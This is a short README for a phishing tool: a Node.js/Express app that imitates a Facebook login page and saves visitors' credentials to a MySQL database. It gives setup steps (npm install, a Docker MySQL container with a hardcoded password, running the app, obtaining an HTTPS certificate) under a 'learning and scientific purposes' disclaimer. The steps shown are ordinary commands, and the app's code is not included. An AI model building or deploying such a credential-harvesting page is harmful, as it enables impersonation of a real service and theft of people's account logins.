A special login form that emirates a Facebook login page and stores all credentials in the target DB. ONLY FOR LEARNING AND SCIENTIFIC PURPOSES.
- node.js
- Express + EJS template engine
- MySQL database
- Docker can be integrated
-
Install necessary dependencies:
npm install
-
Start MySQL Database. The easiest way to do with Docker:
docker run -d --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=12345678
Please, note that the DB credentials are hardcoded in theapp.js
file :). -
Prepare the DB using the
init_db.sql
script. -
Start the app:
node app.js
-
Open the app in your browser:
http://localhost:3000
-
Enable HTTPS support. Install certbot and generate a certificate:
sudo certbot certonly –nginx